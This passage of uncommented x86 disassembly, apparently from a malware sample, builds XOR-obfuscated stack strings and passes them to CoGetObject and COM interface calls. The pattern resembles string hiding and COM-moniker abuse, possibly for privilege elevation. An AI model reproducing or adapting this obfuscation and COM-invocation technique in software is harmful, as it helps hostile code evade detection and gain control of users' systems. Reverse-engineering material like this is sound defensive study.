mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], ecx
mov dword [ebp - 0x250], 0x5bf2c07c
mov dword [ebp - 0x24c], 0xdd9655d6
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x250], 0x32c1ec3c
mov dword [ebp - 0x24c], 0x8b040afb
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x250], 0xe5b99307
mov dword [ebp - 0x24c], 0x3a0a374f
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x250], 0x98a1262f
mov dword [ebp - 0x24c], 0x1faf1b47
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x250], 0x91ee1df
mov dword [ebp - 0x24c], 0xd654a85b
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x254], ecx
mov dword [ebp - 0x250], 0x241e1c3
mov dword [ebp - 0x24c], 0x71d11e06
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x250], 0x941aa300
mov dword [ebp - 0x24c], 0xd4bc2503
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], ecx
mov dword [ebp - 0x250], 0x40927acd
mov dword [ebp - 0x24c], 0x60483b0c
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], ecx
mov dword [ebp - 0x250], 0x316ae13a
mov dword [ebp - 0x24c], 0xef4acbc1
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], ecx
mov dword [ebp - 0x250], 0x83e3b307
mov dword [ebp - 0x24c], 0xfc81b12
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x250], 0x5bb7c044
mov dword [ebp - 0x24c], 0xddd055ef
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x250], 0x32f6ec11
mov dword [ebp - 0x24c], 0x8b410ab8
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x250], 0xe58a933e
mov dword [ebp - 0x24c], 0x3a3c370d
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x250], 0x98e2266b
mov dword [ebp - 0x24c], 0x1f9c1b7e
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x250], 0x963e1e8
mov dword [ebp - 0x24c], 0xd654a85b
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
movaps xmm1, xmmword [ebp - 0x320]
xorps xmm1, xmmword [ebp - 0x2a0]
movaps xmmword [ebp - 0x2a0], xmm1
movaps xmm1, xmmword [ebp - 0x290]
xorps xmm1, xmmword [ebp - 0x310]
movaps xmmword [ebp - 0x290], xmm1
movaps xmm1, xmmword [ebp - 0x280]
xorps xmm1, xmmword [ebp - 0x300]
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], ecx
movaps xmmword [ebp - 0x280], xmm1
lea eax, [ebp - 0x2a0]
movaps xmm1, xmmword [ebp - 0x270]
xorps xmm1, xmmword [ebp - 0x2f0]
movaps xmmword [ebp - 0x270], xmm1
movaps xmm1, xmmword [ebp - 0x260]
xorps xmm1, xmmword [ebp - 0x2e0]
push eax
lea eax, [ebp - 0x210]
movaps xmmword [ebp - 0x260], xmm1
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x248]
push eax
push 0x4fec00
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov eax, dword [ebp - 0x248]
push 0
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x38]
call eax
mov eax, dword [ebp - 0x244]
mov eax, dword [eax]
mov edx, dword [eax + 0x2c]
mov dword [ebp - 0x250], 0x228e187
mov dword [ebp - 0x24c], 0x71a11e75
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x250], 0x947ba36c
mov dword [ebp - 0x24c], 0xd4ff257a
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x250], 0x40fe7aac
mov dword [ebp - 0x24c], 0x602a3b65
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x250], 0x310be148
mov dword [ebp - 0x24c], 0xef25cbb5
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x250], 0x83e3b375
mov dword [ebp - 0x24c], 0xfc81b12
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x250], 0x5bb7c044
mov dword [ebp - 0x24c], 0xddd055ef
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], ecx
mov dword [ebp - 0x250], 0x241e1c3
mov dword [ebp - 0x24c], 0x71d11e06
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], ecx
mov dword [ebp - 0x250], 0x941aa300
mov dword [ebp - 0x24c], 0xd4bc2503
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x250], 0x40927acd
mov dword [ebp - 0x24c], 0x60483b0c
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x250], 0x316ae13a
mov dword [ebp - 0x24c], 0xef4acbc1
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x250], 0x83e3b307
mov dword [ebp - 0x24c], 0xfc81b12
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x250], 0x5bb7c044
mov dword [ebp - 0x24c], 0xddd055ef
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
movaps xmm1, xmmword [ebp - 0x300]
xorps xmm1, xmmword [ebp - 0x280]
movaps xmmword [ebp - 0x300], xmm1
movaps xmm1, xmmword [ebp - 0x2f0]
xorps xmm1, xmmword [ebp - 0x270]
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x254], ecx
movaps xmmword [ebp - 0x2f0], xmm1
movaps xmm1, xmmword [ebp - 0x2e0]
xorps xmm1, xmmword [ebp - 0x260]
movaps xmmword [ebp - 0x2e0], xmm1
mov dword [ebp - 0x250], 0x22ee190
mov dword [ebp - 0x24c], 0x71a51e60
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 0x39c], ecx
mov dword [ebp - 0x250], 0x947ba377
mov dword [ebp - 0x24c], 0xd4d92571
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x398], eax
mov dword [ebp - 0x394], ecx
mov dword [ebp - 0x250], 0x40df7a91
mov dword [ebp - 0x24c], 0x602b3b65
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x390], eax
mov dword [ebp - 0x38c], ecx
mov dword [ebp - 0x250], 0x3105e148
mov dword [ebp - 0x24c], 0xef25cbb2
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x384], ecx
mov dword [ebp - 0x250], 0x8397b361
mov dword [ebp - 0x24c], 0xf9f1b4e
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0x250], 0x5bd9c02d
mov dword [ebp - 0x24c], 0xddbf558b
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x374], ecx
mov dword [ebp - 0x250], 0x3285ec66
mov dword [ebp - 0x24c], 0x8b0f0a98
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x250], 0xe5d6936a
mov dword [ebp - 0x24c], 0x3a49374e
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], ecx
mov dword [ebp - 0x250], 0x98902619
mov dword [ebp - 0x24c], 0x1ff21b1b
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], ecx
mov dword [ebp - 0x250], 0x935e19c
mov dword [ebp - 0x24c], 0xd626a83e
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x354], ecx
mov dword [ebp - 0x250], 0x2be86b66
mov dword [ebp - 0x24c], 0x91c79c0b
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x34c], ecx
mov dword [ebp - 0x250], 0xf2e11fe
mov dword [ebp - 0x24c], 0xf74b953a
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], ecx
mov dword [ebp - 0x250], 0x2cf9db13
mov dword [ebp - 0x24c], 0x2ed9b98b
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x250], 0xd9b637e5
mov dword [ebp - 0x24c], 0xff4acf35
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x250], 0x5e70112d
mov dword [ebp - 0x24c], 0x8154809f
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], ecx
mov dword [ebp - 0x250], 0x1bdec0e6
mov dword [ebp - 0x24c], 0xda6571e5
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], ecx
mov dword [ebp - 0x250], 0x241e1c3
mov dword [ebp - 0x24c], 0x71d11e06
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x250], 0x941aa300
mov dword [ebp - 0x24c], 0xd4bc2503
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x250], 0x40927acd
mov dword [ebp - 0x24c], 0x60483b0c
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x250], 0x316ae13a
mov dword [ebp - 0x24c], 0xef4acbc1
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x250], 0x83e3b307
mov dword [ebp - 0x24c], 0xfc81b12
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x250], 0x5bb7c044
mov dword [ebp - 0x24c], 0xddd055ef
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x250], 0x32f6ec11
mov dword [ebp - 0x24c], 0x8b410ab8
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x29c], ecx
mov dword [ebp - 0x250], 0xe58a933e
mov dword [ebp - 0x24c], 0x3a3c370d
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], ecx
mov dword [ebp - 0x250], 0x98e2266b
mov dword [ebp - 0x24c], 0x1f9c1b7e
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], ecx
mov dword [ebp - 0x250], 0x963e1e8
mov dword [ebp - 0x24c], 0xd654a85b
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], ecx
mov dword [ebp - 0x250], 0x2b816b15
mov dword [ebp - 0x24c], 0x91a99c64
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], ecx
mov dword [ebp - 0x250], 0xf6711a2
mov dword [ebp - 0x24c], 0xf7069579
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x250], 0x2cbadb4f
mov dword [ebp - 0x24c], 0x2eb5b9ea
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x250], 0xd9d4378c
mov dword [ebp - 0x24c], 0xff2bcf47
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x250], 0x5e191159
mov dword [ebp - 0x24c], 0x813a80f0
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x250], 0x1bdec0e6
mov dword [ebp - 0x24c], 0xda6571e5
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
movaps xmm1, xmmword [ebp - 0x3a0]
xorps xmm1, xmmword [ebp - 0x2d0]
movaps xmmword [ebp - 0x3a0], xmm1
movaps xmm1, xmmword [ebp - 0x390]
xorps xmm1, xmmword [ebp - 0x2c0]
movaps xmmword [ebp - 0x390], xmm1
movaps xmm1, xmmword [ebp - 0x380]
xorps xmm1, xmmword [ebp - 0x2b0]
movaps xmmword [ebp - 0x380], xmm1
movaps xmm1, xmmword [ebp - 0x370]
xorps xmm1, xmmword [ebp - 0x2a0]
movaps xmmword [ebp - 0x370], xmm1
movaps xmm1, xmmword [ebp - 0x360]
xorps xmm1, xmmword [ebp - 0x290]
movaps xmmword [ebp - 0x360], xmm1
movaps xmm1, xmmword [ebp - 0x350]
xorps xmm1, xmmword [ebp - 0x280]
movaps xmmword [ebp - 0x350], xmm1
movaps xmm1, xmmword [ebp - 0x340]
xorps xmm1, xmmword [ebp - 0x270]
movaps xmmword [ebp - 0x340], xmm1
movaps xmm1, xmmword [ebp - 0x330]
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x254], ecx
xorps xmm1, xmmword [ebp - 0x260]
lea eax, [ebp - 0x300]
push eax
lea eax, [ebp - 0x3a0]
movaps xmmword [ebp - 0x330], xmm1
push eax
push closesocket
push dword [ebp - 0x244]
call edx
mov ecx, dword [ebp - 0x244]
test ecx, ecx
je 0x4876d3
mov eax, dword [ecx]
push ecx
mov eax, dword [eax + 8]
call eax
mov ecx, dword [ebp - 0x248]
test ecx, ecx
je 0x4876e5
mov eax, dword [ecx]
push ecx
mov eax, dword [eax + 8]
call eax
test edi, edi
jne 0x4876ef
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004a9ea5
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret